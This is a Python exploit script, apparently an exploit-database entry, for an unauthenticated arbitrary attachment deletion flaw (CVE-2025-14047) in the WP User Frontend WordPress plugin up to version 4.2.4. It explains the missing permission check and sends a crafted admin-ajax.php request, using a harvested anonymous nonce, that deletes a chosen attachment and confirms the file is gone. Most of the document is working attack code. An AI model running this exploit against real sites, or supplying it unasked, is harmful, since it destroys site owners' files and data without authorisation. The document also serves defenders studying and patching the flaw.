## https://sploitus.com/exploit?id=PACKETSTORM:226431
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin WP User Frontend <= 4.2.4 - Unauthenticated Arbitrary Attachment/File Deletion
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/wp-user-frontend/
# Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.4.2.4.zip
# Version: 4.2.4 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-14047
r"""
WP User Frontend <= 4.2.4 registers wpuf_submit_post as a nopriv AJAX action (includes/Ajax.php:26,
default nopriv=true). submit_post() (includes/Ajax/Frontend_Form_Ajax.php:36) verifies only the
`wpuf_form_add` nonce, then reads $_POST['delete_attachments'] (:55) and force-deletes each id
(:134 wp_delete_attachment($attach_id, true)) BEFORE any post-ownership / guest-permission gating and
independently of the form. An unauthenticated attacker deletes arbitrary attachments (post record +
file on disk) by id.
The `wpuf_form_add` nonce is an anonymous-user nonce printed by wp_nonce_field('wpuf_form_add') on any
page containing a [wpuf_form] guest-posting form (Render_Form.php:617 / Frontend_Render_Form.php:56),
harvestable unauth. (setup_state.sh emits the equivalent anonymous nonce for a self-contained run.)
Prior state: plugin active + a [wpuf_form] page as the nonce source + a target attachment id.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--nonce", required=True, help="anonymous wpuf_form_add nonce")
ap.add_argument("--attachment-id", required=True, help="attachment id to delete")
ap.add_argument("--check-url", help="optional file URL to confirm deletion (200->404)")
args = ap.parse_args()
base = args.target.rstrip("/")
before = requests.get(base + args.check_url, verify=False).status_code if args.check_url else None
r = requests.post(base + "/wp-admin/admin-ajax.php",
data={"action": "wpuf_submit_post", "_wpnonce": args.nonce, "form_id": "0",
"delete_attachments[]": args.attachment_id}, verify=False, timeout=25)
print(f"[*] Target: {base} | delete attachment {args.attachment_id}")
print(f"[*] submit -> HTTP {r.status_code} :: {r.text[:100]}")
# the delete runs before the (failing) post processing, so a 'Something went wrong' body is expected
if args.check_url:
after = requests.get(base + args.check_url, verify=False).status_code
print(f"[*] file {before} -> {after}")
if before == 200 and after == 404:
print("\n[+] ARBITRARY FILE DELETION CONFIRMED โ unauthenticated attacker deleted the "
"attachment file.")
return 0
print("\n[-] not confirmed"); return 1
print("\n[+] delete request sent โ verify the attachment id is gone "
"(wp post get <id>).")
return 0
if __name__ == "__main__":
sys.exit(main())